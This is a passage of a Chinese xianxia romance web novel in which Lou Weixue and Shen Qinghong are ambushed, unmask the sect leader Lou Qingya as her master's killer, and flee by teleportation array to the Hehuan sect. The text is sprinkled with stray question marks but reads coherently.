玲溪跟着笑起来,“如果不是危雪,我也不会看清她的真面目。” 娄危雪看着玲溪,玲溪被她看着没有丝毫窘迫,面色红润,举止大?方,已?经完全看不出当初被人欺负时瑟缩自卑的小可怜样。 看来这些年,玲溪身上也发?生了改变。 时隔多年,几人难得能够重新聚在一起,彼此话?都很?多,这一聊起来,就直接聊到月色初升。 李寄春还?从院子的树下挖了坛酒出来,“来,这是我亲自酿造的药酒,你们这下可有口福了。” 她抱起酒坛,挨个给几人倒了一碗,琥珀色的酒液倒入玉做的酒碗中格外好看。 见几人不动,李季春举起酒碗,“别光看着,尝尝。” “好。” 娄危雪眉毛扬起率先应下,端起酒碗喝了一口。 这酒并不浓烈呛人,酒液入口顺滑无比,带着淡淡的药香,味道微苦但回?味悠长。 娄危雪惊喜,“不错啊,没想到寄春你还?有这一手?。” “这可是我加了好多药材特地调制的,喝了对身体也有好处。” 李寄春说着自己喝了一口,还?朝对面的沈清鸿,玲溪二人道:“你们也都尝尝。” 几人喝酒谈天?,各自聊着几年间的趣事?,虽许久未见,但在深厚的情?谊面前,时间并不能成?为她们之间的隔阂。 娄危雪看着对面友人,身侧爱人,只觉这样挺好的,玲溪没有被花厌当做炉鼎九死一生,寄春找到了拯救活死人的办法,而她成?功活下来和清鸿仙尊走到一起。 第55章 翌日?,等娄危雪醒来的时?候已经日?上三?竿。 李寄春的酒是?好酒,娄危雪醒来没有半分宿醉的不适,反倒浑身舒畅。 她?从床上下来,穿好衣服。 沈青筠听到动静,迈着小?短腿跑进来,一下子就扑到了娄危雪怀中。 “母亲,你?起的好晚哦,青筠和娘亲都起来好久了,光功法都练习三?套啦!” 看着面前那粉雕玉琢的小?脸,娄危雪眉眼弯起,一把将沈青筠抱起。 “哎呀,我?们小?青筠可真棒!” “既然青筠这么努力,那我?这个做母亲的也不能偷懒,以后青筠起来如果?我?还?没起,青筠可要记得叫我?,我?和青筠一起练功。” 沈青筠抿唇羞涩一笑,伸手搂住娄危雪的脖颈。 “好哦,青筠以后起床都会喊母亲的。” 娄危雪揉了把沈青筠的脑袋,嘴唇微微地扬起。 “嗯,真乖。” 沈清鸿一进门?就见到两?母女腻歪在一起,她?自然而然的走过去,向沈青筠伸出了手。 “你?母亲刚醒,让她?先去洗漱。” “好哦。” 沈青筠应下,转投入沈清鸿的怀抱中。 洗漱过后,一家人坐在一起吃饭,期间娄危雪问了沈清鸿这些年发生的事情。 沈清鸿虽然带着沈青筠居住在山上,可是?时?不时?就会下山采买,知道的消息并不算少。 便将这几年发生的事情,一一回答告诉娄危雪。 得知云文君已死的消息,娄危雪心底隐隐觉得奇怪。 “我?娘亲在云霄门?闭关这么多?年,身体都没有问题,怎么会在露面之后得病死掉,而且……” 娄危雪想到当初云文君对花醉月刺出的那一剑,以及花醉月的反应,怎么想怎么觉得奇怪,还?有突然出现的花问宵,以及叛变的花厌。 “当初的仙门?大?比涉及到的人太多?,表面上看是?花醉月让人给宗门?的人下了药,逼迫娄青涯交出我?娘,可实际上花醉月的目的并未能得逞,事实真相恐怕并不简单。” 娄危雪能够看出来的问题,沈清鸿自然也能看出来。 “这几年我?私底下也有打听过,当初云文君重病,娄青涯请了不少人去给她?看病,可是?据我?所知,那些给云文君看病的医生都说是?隔着一层帘帐看的病,她?们看的究竟是?不是?云文君本人还?未可知。” “至于花问宵,她?当初被关在圣山,是?花醉月所为,仙门?大?比上,她?把花醉月带走关在合欢宗囚禁了起来,两?人的关系众说纷纭。” 听沈清鸿提起花醉月,娄危雪不禁想到沈清鸿师尊的死。 她?小?心翼翼的看了眼沈清鸿的脸色,斟酌着开口。 “清鸿仙尊,你?……还?要为师尊报仇吗。” “自然。” 沈清鸿眼中寒光四射,回答的语气斩钉截铁。 她?永远都不会放过那个杀害她?师尊的人。 娄危雪沉默,开始沉思,眉头一点点的皱了起来。 花醉月虽然已经不是?合欢宗的掌门?,可是?如果?清鸿仙尊想要杀掉花醉月为师尊报仇,但也不是?什么易事,毕竟花醉月人在合欢宗,而她?们还?没摸清楚花问宵对花醉月究竟是?个什么态度。 见娄危雪不出声,沈清鸿抿了抿唇,想到花醉月的身份,她?现在是?当着娄危雪的面,说要杀她?的母亲。 她?不想因为花醉月的事情和娄危雪闹矛盾,可也不能放弃杀师之仇不报。 沈清鸿垂下眼眸,手指忍不住蜷缩握起。 她?低声询问:“九寒,我?要杀你?母亲,你?会怪我?吗?” 娄危雪闻言抬眸,看出沈清鸿的不安,伸手敷上沈清鸿的手。 “不会。” 她?本就不是?这个世界的人,这具身体的原主也并不是?被花醉月养大?的。 更和何况自花醉月继任合欢宗宗主之位之后,放任手底下的人做了不少祸事,就连花醉月本人也做了不少错事,通过仙门?大?比上各个门?派对花醉月的反应就可以看出。 娄危雪朝沈清鸿安抚一笑,“做你?想做的事情,我?不会怪你?。” 沈清鸿提着的心,瞬间落地,紧张蜷缩起的手指缓缓松开。 “如此便好。” 之后两?人又商议了一番,碍于沈清鸿和娄危雪如今在仙门?中人人喊打的身份,两?人决定还?是?先回山中比较好。 那里有沈清鸿布置的阵法,寻常人很难发现,也很难破解上去。 毕竟娄危雪现在的身体还?不太受她?控制需要恢复,沈青筠年纪也还?小?,需要保护。 两?人就此敲定,用?膳过后,一起去找了李寄春,向李寄春辞别。 李寄春听说她们要离开,有些恋恋不舍,出言挽留。 “这么久不见,我?还?有好多?话想和你?们说,你?们不如多?待一段时?间,等到危雪的身体彻底恢复再考虑离开,这样如何?” 娄危雪没有答应,她?解释着:“清鸿仙尊如今入魔遭到仙门的通缉,我?是?花醉月的女儿,如果我没死的消息被传出去,少不了会遭到追杀,若是?行?踪暴露,会很麻烦的。” 李寄春闻言忙道:“你?放心,我?是?悄悄带你?们回来的,除了我?师妹见过你?们,别的人都不知道你们在这里。” 娄危雪摇了摇头,并不认同。 “这里毕竟是?你?的宗门?,人来人往的,我?和清鸿仙尊若是?留久了,早晚会被人发现,还?是?回居住的地方比较安全。” “可是?……” 见李寄春还?要说些什么,娄危雪连忙出言打断。 她?笑着拍了拍李寄春的肩膀,“好啦,又不是?生离死别,如果?以后有合适的机会,我?和清鸿仙尊会来看你?的。” 李寄春见娄危雪一副打定主意要离开的样子,叹了口气,没有再劝。 “那说好了,以后有机会记得过来看我?。” “好。” 云霄门?和娄危雪她?们居住的那座山正好在一个方向上,玲溪得知娄危雪要走的消息之后,打算和娄危雪一起离开。 她?们动作很快,和李寄春辞别之后,便离开了。 李寄春的宗门?距离她?们的目的地有着不远的距离,加上娄危雪的身体尚且没有完全恢复,一行?人走的速度并不算快,五天之后她?们才?到达云霄门?的地界。 天色已晚,众人还?没入城,只能在野外露宿。 森林中一片漆黑,只有篝火散发着微弱的光芒。 今晚是?玲溪守夜,她?抱着膝盖看着面前的篝火出神,不知道过了多?久,只觉得周遭寂静下来,只剩下木材燃烧的声音。 这个情况很不对经,玲溪心中凛然,顿时?提高了警惕。 一直闭着眼睛的沈清鸿悄然睁开眼睛,推醒娄危雪,就连沈青筠都没叫醒了。 “有人来了。” 几乎是?她?话音落下的瞬间,一行?黑衣人悄无声息的出现在几人面前,将她?们包围在中间。 沈青筠醒来,突然看到这么多?人,有些害怕的躲在娄危雪和沈清鸿的身后。 “母亲,青筠怕。” 娄危雪见状,安抚的拍了拍她?。 “别怕,我?们会保护你?的。” 沈青筠乖乖点了点头,抓娄危雪的手抓的更紧了。 沈清鸿走出一步,挡在母女二人的身前。 原本坐着守夜的玲溪已经站了起来,她?的手摸上佩剑,看着围来的人,面色无比严肃。 “你?们是?什么人,想要干什么?” 这群黑衣人没有回答,另有一人走了出来。 那人穿着黑色的长袍,脸上绑着面巾,叫人看不出容貌。 “交出天书 第九卷 ,我?可以放你?们离开。” 神秘人说话的时?候,只看着沈清鸿。 沈清鸿在这人出现的瞬间,就认出了来人,这正是?当初袭击她?,将她?打至重伤的神秘人。 同时?沈清鸿心底疑惑,当初她?遇袭之后,猜测神秘人是?云文君,可是?娄青涯已经宣布了云文君的死讯。 这个人既知道天书九卷,那与?师尊的死必然脱不开关系。 沈清鸿的眼神变得凌厉起来,如刀子刺向神秘人。 “又是?你?,你?究竟是?谁!” 神秘人闻言笑了一声,“看来你?还?记得我?,既然如此那就乖乖交出天书九卷,上次不小?心被你?逃掉,这次你?可就没那么好的运气了。” “休想!” 沈清鸿一口拒绝,那是?师尊给她?交待她?要保护好的东西,她?怎可随随便便就给了眼前这个人。 见沈清鸿拒绝,神秘人冷哼一声,抬手做了个动作。 那些原本站在原地一动不动的黑衣人,瞬间行?动起来,朝着沈清鸿等人攻去。 神秘人也没闲着,当先袭向沈清鸿,沈清鸿抽出均湘剑,跟神秘人对上。 入魔后的沈清鸿,修为比之前要高上不少,尽管如此,对上神秘人依旧讨不到半分好处,她?还?是?看不透这个神秘人的修为。 娄危雪和玲溪二人同剩下的黑衣人打了起来,这些黑衣人的境界算不上很高,可是?他们双目无神,看起来竟然全部毫无神志,是?任人摆布的傀儡,根本就不知道什么是?疼痛。 娄危雪的身体经过沈清鸿的炼化,已经不比从前,肉身强悍可比化神期的修士,只不过她?的身体不太受她?控制,好在有玲溪在旁边帮忙。 两?方对峙,一时?之间谁都没有落入下风。 第56章 沈青筠太小了,娄危雪在?应对攻击过?来的黑衣人的同?时,画了个防御的法阵,将沈青筠放在?了里?面。 “青筠,你?待在?里?面不要出来,知道了吗?” 沈青筠眨巴了一下眼睛,眼中满是惊慌害怕,但是她还是乖乖答应了。 小小的娃娃站在?防御法阵的中央,乖巧点头。 “好,母亲,你?们要小心?啊。” “知道了。” 娄危雪匆忙应了一声,再次击退袭来的黑衣人。 玲溪如?今不比往昔,她天赋根骨原本就不错,先前修为之所以一直修炼不上来,是因为?*?合欢宗的修为心?法,多依靠于?双修,玲溪又不愿意随便同?人双修。 可现在?不同?了,被认回云霄门之后,她学?了正统的修炼之法,现在?的境界已到了元婴后期,距离出窍仅有一步之遥。 尽管那些黑衣人不知疼痛,被人操控,但被斩断手脚,总归是站不起来。 在?娄危雪和玲溪二?人的合手之下,黑衣人的数量在?逐渐减少。 沈清鸿那边,均湘剑挥出道道剑影,谨慎的应对着神秘人的攻击。 神秘人手中同?样拿着剑,不过?那剑平平无奇,根本就不能通过?这把剑认出神秘人的身份。 他抬手,朝着沈清鸿挥剑而去,沈清鸿飞身迎上。 两人的距离变得很近,剑刃相撞,迸发出激烈的火花。 沈清鸿眉眼凌厉,周身环绕着一股寒凉的气息。 她薄唇轻启,“你?究竟是谁,我师尊的死是不是与你?有关!” 同?神秘人交手这么久,沈清鸿发现神秘人使?出的招式千变万化,并不是哪一门派所独有的。 而且她很确定,眼前的这人是男人。 她之前一直以为师尊是被花醉月给杀死的,云文君就是花醉月的帮凶,可是如?今看来,这里?面怕是有蹊跷。 神秘人手中的长剑迸发出猛烈的剑气,将沈清鸿击退。 “只要你?把天书 第九卷 给我,我心?情好,说不定会告诉你?答案。” 他嗓音低哑难听,不知道是不是用?了什么特殊的方法改变了声线。 沈清鸿冷哼一声,身上魔气大作,一双黑眸全部转为了红色。 “做梦!” 两人缠斗在?一起,不过?在?打斗的过?程中,神秘人一直有留意娄危雪那边的情况。 见到自己带来的黑衣人节节败退,神秘人眼睛微眯。 他看着追击过?来的沈清鸿,不着痕迹的调转方向,将战场逐渐的向着娄危雪那边靠近。 在?又一次的将沈清鸿击飞之后,神秘人转过?身体。 沈清鸿瞳孔猛缩,瞬间意识到了神秘人的目的。 “青筠!” 娄危雪刚击退身边的黑衣人,听到沈清鸿的嗓音之后,抬头便见神秘人向着结界中的沈青筠袭去,霎那间,娄危雪身上的血液都凉了。 神秘人的速度很快,他功力又高,娄危雪设置的结界瞬间破碎,根本就阻挡不了他分毫。 沈青筠似乎是被吓傻了,一双眼睛睁的大大的,待在?原地一动?不动?。 玲溪不在?附近,沈清鸿离的还有一段距离。 眼看着神秘人即将抓住沈青筠,娄危雪突然出现在?了神秘人的面前,挥手划出一剑。 神秘人眉头皱起,举剑挡下娄危雪的攻击。 他没有放弃,还想再度对沈青筠出手,但是这个时候,沈清鸿已经飞了回来。 均湘剑散发出夺目的光彩,凛冽的剑气从神秘人的背后刺去。 娄危雪和沈清鸿二?人前后夹击,神秘人正面接下娄危雪的剑,暂且将娄危雪逼退,随后侧身举剑,试图挡住沈清鸿手中的均湘。 眼见着攻击就要被挡下,沈清鸿却?一转攻势,剑锋扫向神秘人脸上的面巾。 神秘人意识到沈清鸿的意图,想到躲闪但是已经来不及了,神秘人脸上的面巾掉下,他的真实样貌完完全全的暴露在?众人眼前。 看清楚眼前人的样貌后,玲溪呆愣愣的站住了,满脸的不可置信,娄危雪面上同?样难掩惊愕。 “是你?。”沈清鸿面色黑沉,握着均湘剑的手,紧了几分,“我早该想到的。” 为什么师尊会死在?去往云霄门的途中,为什么云文君会闭关那么多年,为什么又会突然重病死亡。 一切的一切,恐怕都同?面前的人脱不开关系。 “杀我师尊的人其实不是花醉月,而是你?!” “娄!青!涯!” 沈清鸿咬牙切齿的念着这个名字,眼神中散发着冰冷凌厉的杀意,给人带来无穷的压迫感?。 在?场的都不是蠢人,事情发展到这个地步,娄青涯索性也不在隐藏。 “是我。” “当年你师尊前往云霄门的路上,遇到了来找文君的花醉月,两人交手两败俱伤,若非如?此,当时的我还不一定能杀得了你师尊。” 娄青涯说着,轻笑一声,话语中满是讥讽。 “最可笑的是,花醉月回去之后没多久就听说了你?师尊的消息,竟然真的以为是她杀了你?师尊。” 怪不得师尊身上会有合欢宗的功法印记,原来是这样!她一直以来查来的方向是被娄青涯误导的,是错的! 沈清鸿怒目斜扬,眸子里?的怒火似乎要将娄青涯燃烧殆尽一般。 在?她师尊那一辈的人中,娄青涯同?样称得上是天之骄子,否则他也不会娶到云文君,还坐上云霄门宗主的位置。 他隐藏的很好,在?外人面前,娄青涯是得体从容的君子,这样的人周遭好友自是不少,她师尊就是其中之一。 可是没想到,师尊看走了眼,这人分明就是个阴险卑鄙的小人! “我师尊把你?看做好友,可你?竟那般对他!” 面对沈清鸿的指责,娄青涯不以为意。 “手握重宝之人,必遭人妒忌,要怪只能怪你?师尊没有把东西藏好!” 娄危雪眉头紧皱,娄青涯和清鸿仙尊得师傅明明是至交好友,可是为了天书九卷竟然不惜对好友下手。 “天下法宝万千,为什么你?一定要天书九卷?” 娄青涯不答反问:“你?可知近百万年来,为何?没有修士能够成功飞升成仙。” “为何??” “我曾在?年少时进入过?上古秘境,在?秘境中我看到过?一个记载,如?今我们修仙门派的功法中,皆缺少一环,天书九卷正是那最重要的一环,只有修习完整的天书九卷,才可成功召唤出天门。” 天下之人,凡是修士,谁人不想成仙,娄青涯同?样不例外,也是从那开始,娄青涯开始寻找起天书九卷的下落,功夫不负有心?人,竟叫他在?好友那里?得到线索。 “如?今我已习得八卷,若不是缺少那最后一卷,我早已飞升成仙!” 娄青涯今日过?来可不是为了和沈清鸿说这些的,他原本不多的耐心?,已所剩无几。 “事情真相你?已经知道了,交出天书 第九卷 ,我或许还可以看再同?你?师尊曾交好的份上,留你?们一具完整的尸身。” 沈清鸿入魔之后情绪极其容易失控,面对师尊死亡的真相,根本冷静不下来。 黑色的魔气环绕在?她的周身,她的衣服无风自动?。 “我要杀了你?,为师尊报仇!” 沈清鸿举起魔气缠身的均湘剑,朝着娄青涯步步走去。 娄青涯眼睛微微眯起,“那就要看看你?有没有这个本事了!” 两人重新缠斗起来,周围的黑衣人已经被娄危雪和玲溪清理干净,见状二?人纷纷上前帮忙。 只不过?以她们二?人的样子,很难加入沈清鸿同?娄青涯之间的战斗,娄青涯也并不把她们二?人看在?眼中。 之前在?仙门大比上,娄青涯展现出的境界并不如?现在?这般,可见当初娄青涯是在?藏拙。 躲过?一道娄青涯攻击沈清鸿时残余的剑锋,娄危雪暗暗心?惊。 “你?根本就不是大乘期的修士!” 听到娄危雪的质问,娄青涯自负一笑。 “我已至渡劫,现在?你?们收手交出天书九卷,还来得及。” 娄青涯说话间,威压全部放出,渡劫期的威压,并不是人人都可以受得了的。 沈青筠直接晕了过?去,变成一个小小的白团子,倒在?地上。 娄危雪虽然肉身强悍,但是在?高出不少境界的娄青涯面前根本就不够看,她脚下深陷,被威压定在?原地走不了一步。 玲溪脚下踉跄,只觉有一座高山压在?了肩头,让她直不起背脊。 这威压对沈清鸿倒是没什么太大的影响,她面色冷凝,使?出法诀,逼向娄青涯。 娄青涯周遭气势一泄,娄危雪和玲溪这才有了喘息的机会,两人在?自保的同?时,时不时的在?旁边帮着沈清鸿袭击娄青涯一下。 虽然她们的袭击被娄青涯一一化解,但是对于?这般的骚扰,娄青涯不胜其烦。 这感?觉就像是有两只飞虫,在?他旁边一直转悠,还时不时的飞出来,叮咬他几口。 娄青涯眉头皱起,冰冷的目光从娄危雪和玲溪二?人的身上扫过?。 他啧了一声,竟然直接放弃沈清鸿,转而向距离他最近的玲溪出了手。 玲溪哪里?能是娄青涯的对手,在?娄青涯的直面攻击下,直接倒飞出去,猛地吐出一口鲜血。 在?昏迷的前一刻,玲溪感?觉身后有声音响起,好似有人在?叫她的名字。 第57章 娄青涯想要乘胜追击,先把玲溪给解决掉,长剑刚至,就被人给拦下。 他眼睛微眯,面色不善。 “是你。” 花厌冷哼一声,将长剑振开,挡在玲溪的身?前。 “堂堂云霄门的宗主,竟然对自己的亲生女儿下手,你说如果这个事情被其他门派的人知道,他们会?作何感想。” 娄青涯并不在意?花厌的威胁,他眼眸幽深如潭,嘴角挂上一抹意?味深长的笑。 “她虽是我女儿,但是在合欢宗待了那么多年,早就被你们合欢宗给教坏了,我发现她与你勾结想要对仙门不利,迫不得已只能大义灭亲,众人就算知道,也不会?怪罪我。” 明明是娄青涯要杀玲溪,可是在他的口中,玲溪宛如犯下弥天大错。 不过几句话,就摆脱了自己的关系。 娄危雪可算是知道为什么花醉月叫娄青涯为伪君子?了,简直…… “无耻!” 听到身?后的骂声,娄青涯转过身?,目光落在娄危雪的身?上,定定的看着她。 到底是一手养大的孩子?,若不是同沈清鸿有了牵扯,娄青涯倒也不想做的那么绝。 “九寒,我教养了你十几年,如果你现在能够从沈清鸿身?边离开,同天道立誓不会?将今天知道的事情说出去?,那看在父女一场的份上,我可以?放你一马。” “我不会?离开清鸿仙尊。” 娄危雪站到沈清鸿身?边,眼神坚定。 她曾经已经放手过一次,假死在沈清鸿的人声中缺席了那么长的时间?,如今好?不容易能够和沈清鸿走到一起,无论如何都不会?再放手。 娄青涯听见娄危雪的拒绝,面上不悦,怒哼一声。 “她已入魔,哪里还是什么仙尊,你不要执迷不悟。” “不管有没有入魔,在我心中,清鸿仙尊永远都是清鸿仙尊。” 是那个面冷心善的人,是那个在她遇到危险时会?义无反顾的挡在她面前的人,是心怀天下除魔卫道的人。 是她孩子?的娘亲,更是她的伴侣,她的妻。 娄青涯深邃的黑色眼眸里散发出出吞噬般的森寒之气,向着娄危雪刺去?。 “哪怕你会?死?” 娄危雪不躲不避,迎上他的目光。 “哪怕我会?死。” “好?好?好?,”娄青涯怒极反笑,“既然你都说道这个份上了,那我这个做父亲的,怎么能不成全你!” 话音落下,娄青涯面色陡然转变,抬手举剑,无数剑影在他周围泛起,向着娄危雪袭去?。 道道剑影带着石破天惊的气势,沈清鸿朝前一步,站在娄危雪右侧身?前,均湘剑散发出森森魔气,挥舞出黑色的雾气,打碎一个又一个袭击过来的剑影。 那厢花厌不想掺和进来,原打算带着玲溪悄悄离开,娄青涯又岂会?给她机会?,分出剑影攻击花厌。 花厌低骂一声,回手还击。 几人重新打了起来,花厌境界不低,可是娄青涯的境界太高。 哪怕几人联手,都不能拿娄青涯如何。 随着时间?的流逝,几人逐渐落入下风,被娄青涯打的节节败退。 娄危雪皱眉,看着沈清鸿身?上出现的道道伤痕心疼不已。 花厌的情况比沈清鸿还要差些?,她擦去?唇边的鲜血,撑剑喘着气。 场上情况对她们不利,若是在这样打下去?,她们早晚会?被娄青涯耗死。 沈清鸿和花厌同样意?识到了这些?,三人相互对视一眼,向对方?靠近。 在娄青涯又一次攻击上来的时候,三人合力,法术攻击汇聚到了一起,袭击向娄青涯,娄青涯一时不察,被击退出去?。 趁着这个功夫,花厌带上玲溪,娄危雪抱紧沈青筠转身?就跑。 娄青涯看出她们的意?图,冷冷一笑,不慌不忙的伸出手,一个造型古朴的铃铛出现在他的手中。 “今天你们一个都别想跑!” 随着他话音的落下,叮铃铃的铃声响起。 “糟了,是风云铃!” 娄青涯手中拿着的,正是当初花厌去?云霄门威胁娄危雪时,想叫娄危雪替她偷出来的法器。 几人面色陡然一沉,纷纷加快离去?的速度,但是根本?就来不及。 周遭婆娑作响,树木在摇晃,树叶在摩擦,愈演愈烈,狂风大作,吹起众人的衣裳。 天地变色,原本?皎洁的月亮和闪烁的星星被厚重的乌云给牢牢挡住,之前燃烧的篝火早就在打斗的过程中熄灭,此刻森林中一片黑暗,伸手不见五指,让人看不清方?向,望不见前路。 娄青涯站在狂风之中,岿然不动。 在他的操控下,有无形的风刃形成,划出道道气流,带着惊人的气势攻击向几人。 林中黑暗,风刃的速度又快,简直让人防不胜防,几人不可避免的都中了招。 这并不是简单的风刃,打在人的身?上不会?立刻消散,反倒会在伤口上形成一道气流,叫伤口撕裂的更加严重。 腥甜的血腥气在森林中蔓延开来,听到娄危雪的闷哼,沈清鸿眉头紧紧蹙在一起。 这么下去?不行,她们会?被耗死在里面的。 下一瞬,沈清鸿身?形变幻,一只狮身?羊须,头生双角,通体雪白的巨兽出现在原地。 她张口发出一声咆哮,乌云散去?,原本?被遮挡的星月显露出来,森林中重新恢复光亮。 娄青涯看清面前的巨兽和剩下的几人,瞬间?认出这只巨兽就是沈清鸿变得。 怪不得他那个好?友会?把天书?的第九卷 交给沈清鸿,怪不得沈清鸿身?世成谜,原是如此! “你竟是白泽。”他眼中炽热渐渐聚集成一簇强烈的光,唇边的笑意?越来越大,整个人发出疯魔般的笑声,“哈哈哈哈,天助我也,天助我也!” 秘境记载,天书?九卷能够召唤天门,但是守天门的是白泽。 待他从沈清鸿那里得到天书?的第九卷 ,将其斩杀,便?可一步登仙! 乌云虽散,但狂风仍在。 娄青涯一手摇晃着风云铃,一手挥剑,越来越密集的风刃夹杂着道道剑影在几人的周围汇聚。 花厌还没弄清楚为什么沈清鸿会?变成白泽,不过眼前情况紧急,根本?就容不得她多想。 她护着玲溪,打散玲溪周围袭来的风刃,自己身?上却不可避免的又受了几击,痛的她面色煞白。 “得想办法离开,我们耗不过他的!” 沈清鸿甩出尾巴,将娄危雪和沈青筠放到背上。 均湘剑环绕在她的周围,为她击溃袭来的风刃,可是她体型巨大,风刃和剑影众多,根本?就挡不过来。 道道血花在她的身?上绽放,染红她的皮毛。 沈清鸿面不改色,仰头嚎叫。 天色黑暗看不分明,但是花厌却感觉有什么东西?正在向着这边靠近,越来越近,而?且不止一种。 片刻后,一只又一只的异兽常出现在她们面前,替她们挡下娄青涯的攻击。 这是沈清鸿之前在山上无意?之间?发现的,她变成白泽兽身?的时候,可以?号召周围的兽类。 “快走。” 时机已到,沈清鸿毫不恋战,带着背上的母女二人迅速逃离。 花厌反应迅速,带着玲溪立刻跟上。 娄青涯黑沉着脸,抬脚就要去?追,一只异兽在这时出现在他面前扑咬向他,挡住了他的步伐。 沈清鸿跑的飞快,声音严肃。 “这山中兽类稀少,娄青涯境界太高,它们阻挡不了他太久,我们得想办法,找个安全的地方?。” 闻言,花厌忙道:“我在附近设置有一处阵法,可以?将我们直接传送回合欢宗。” “娄青涯如果想要去?往合欢宗还要花费一番功夫,更何况合欢宗有我师傅在,哪怕他境界颇高,也不敢随便?动手。” 合欢宗远离一众修仙门派,修建的颇远,那处法阵,原本?是花厌为了方?便?去?云霄门找玲溪而?设立的,没想到此刻竟成了救命的东西?。 眼下是逃命的时刻,沈清鸿暂时顾不得考虑同合欢宗的那些?恩怨。 她眼神冷然,立刻说道:“带路。” 花厌加快速度,飞到沈清鸿的前面,朝着阵法设立的地方?飞去?。 未过多久,沈清鸿感受到原先召唤过去?的兽类没了反应。 她提醒:“娄青涯已经脱身?,我们得加快速度了。” 花厌不比沈清鸿,身?上受了不少伤,就算想快都快不起来,更何况她还带着玲溪。 见状,沈清鸿伸出尾巴。 “把玲溪给我。” 花厌没同沈清鸿客气,立刻将玲溪送了出去?,铆足劲的朝着目的地跑去?。 不过片刻,沈清鸿就感受到身?后有人追了上来。 “娄青涯追上来了。” 她嗓音平静,但是说出来的话,却叫花厌满心焦急。 快些?,得再快些?。 时间?一分一秒的流逝,她们距离目的地越来越近,可是娄青涯同她们之间?的距离也在不断缩减。 等花厌带着人跑到阵法设立的地方?时,她们已经能够清晰的看到娄青涯的身?影。 “快站上去?!” 花厌紧急催促,沈清鸿立刻变回人形,同抱着沈青筠的娄危雪一起站上画着法阵的台子?上。 见人站好?,花厌运功默念法诀,地上法阵亮起,可在最后一处即将亮起的时候,娄青涯已追至近前,风刃剑影齐至。 第58章 正是要紧的时候,花厌若是在?此刻闪躲停下施咒,她?们将失去传送的机会,可若是不?躲,她?将会被万剑穿身。 电光火石之间,娄青涯的剑已至。 时间变得缓慢起?来,化?为牢笼将花厌禁锢在?原地。 她?的头发被剑风激起?在?空中胡乱飞舞,也能看到锋利的剑刃闪着寒芒,一寸寸的向着她?逼近。 眼见?着各种剑刃风影就要打在?花厌身上,关键时刻,沈清鸿和娄危雪齐齐出现?在?花厌身前?。 牢笼破碎,时间重新流淌起?来,娄青涯的攻击眨眼间被沈清鸿和娄危雪齐齐挡下。 下一瞬,地上法阵的最后一块被点亮,红光大?作,将几人的身影全部笼罩。 剩下的攻击全部落空,在?地面的法阵上打出深刻的痕迹。 娄青涯看着面前?被毁坏掉的法阵,面色铁青,身边围绕着一股冰凉的气?息。 他抬起?头,眼神阴婺,“合欢宗这样的歪门邪派,存在?的已经够久了。” 话音落下,娄青涯一挥袖袍,人影消失,原地唯余风声?。 树叶被残留的风从?树梢中吹落,飘飘摇摇往下落去。 娄危雪摘掉头上的树叶,看着面前?出现?的地方。 她?曾被抓来过合欢宗,阵法将她?们传送到了合欢宗的宗门附近。 回到熟悉的地方,熟悉的地盘,花厌一马当先,抱着玲溪走在?前?面。 如今脱离了危险,花厌原本不?想再理会娄危雪和沈清鸿她?们,但是一想到玲溪和她?们关系教好,若是知道她?放着娄危雪她?们不?管,醒来恐怕会怪她?。 想了想,花厌还是停下了,她?侧首说道:“跟着我,你们曾解救过我师傅,我师傅想必会愿意收留你们。” 娄危雪和沈清鸿二人对视一眼,她?们如今身份尴尬,一个是本应死去的人,一个是入魔遭到通缉的仙尊,去哪里都?不?太合适。 若是回之前?居住的地方,以娄青涯的能耐未必不?能找到她?们。 两人对视一眼,跟上了花厌,向着合欢宗的宗门出发。 片刻后,一行人来到宗门门口。 花厌是合欢宗的少主,那张脸就是合欢宗的通行证。 一些?合欢宗的弟子认出沈清鸿和娄危雪二人,面露诧异,忍不?住跟同行的同伴低语几句。 不?过在?看到走在?前?面的花厌时,她?们又纷纷闭了嘴。 在?合欢宗,除了宗主和长老,最有威慑力的便数花厌了。 花厌带着她?们一路走了上去,在?把昏迷未醒的玲溪给安顿好之后,又带着她?们去往花问宵常在?的地方。 在?门口时,她?向两人叮嘱。 “你们在?这里等我,我先去通报师尊一声?。” “好。” 听?娄危雪应下之后,花厌便进去了。 室内宽敞,花问宵背对着她?,手中拿着一尊酒壶,抬手正将酒液倾倒入一个玉瓷做的酒杯中。 “醉月,这是你最喜欢的酿酒师在?这个月新酿造出来的酒,叫做碧落桃花,你尝尝?” 她?说着,端起?酒杯,温柔的送到花醉月唇边。 花醉月的脸上已经没有了遮挡面容的黄金面具,她?冷着张脸,周遭散发着冰冷的气?息。 感受到唇边的冰冷酒液,她?抬手一把推开花问宵的胳膊。 “我不?喝。” 酒杯中酒液晃荡,洒了花问宵一手。 可是花问宵却一点都?不?见?恼怒,拿出一条手帕,慢条斯理的擦拭着被酒液打湿的双手。 花厌刚进门,就见?到这般场景。 在?这几年?间,同这类似的场景发生过不?止一次两次,起?初她?还会为花醉月对待师傅的态度而呵斥花醉月,可是每次都?会得到师傅的一计眼刀。 时间久了,花厌便也明白了,花醉月在?花问宵心中是不?一样的,就如同她?渐渐明白,玲溪在?她?心中也是不?一样的。 花厌曾经也问过师傅,为什么花醉月把她?给囚禁在?圣山上关闭了那么多年?,她?出来后对花醉月依旧没有丝毫怨言。 师傅告诉花厌,当初是她?想先囚禁花醉月在?先,不?过后来被花醉月察觉,先她?一步动手了而已。 花厌思绪飘飞正乱想着,一道声?音传来。 “傻站在?那里干什么。” 花厌这才回神,双手抱在?一起?,微微弯腰,恭恭敬敬的喊了一声?。 “师傅,徒儿回来了。” “嗯,”花问宵微微颔首,然后又看了眼门口,“门外站着的是谁。” 从?花厌靠近这里的时候,花问宵便已经感知到了,站在?门外的两人自是也在她的感知范围内。 花厌如实回道:“是娄危雪一家。” 闻言,花问宵有些?诧异,挑了挑眉梢,一直冷脸的花醉月变了脸色,讶异又惊喜。 未等花问宵开口细问是怎么回事,花醉月就已经冲了出去。 花问宵见?状,无奈只能跟上。 娄危雪在?外面正等着,突然感觉又道风向着她?刮来,还没反应过来时什么的时候,沈清鸿就已经抬手把她?往身边扯了一步,刚好叫她?躲过了那道袭来的风。 没等娄危雪弄清楚是什么状况,就听?到一阵熟悉的声?音。 “危雪,我的女儿,你没死。” 娄危雪这才发现?,刚刚那哪是什么风,分明就是因为跑的太快,而带出风声?的花醉月。 如今再次见?到花醉月,娄危雪情绪颇为复杂,她?和清鸿仙尊之间的种种误会,皆因花醉月而起?,她?自己也因为花醉月突然公布身份的原因,遭众人怨恨,被逼至死。 沈清鸿对花醉月就没什么好脸色了,她?师尊虽不?是花醉月所杀,但也是受花醉月牵连。 她?站在?娄危雪身前?,挡开花醉月。 “离她?远点!” 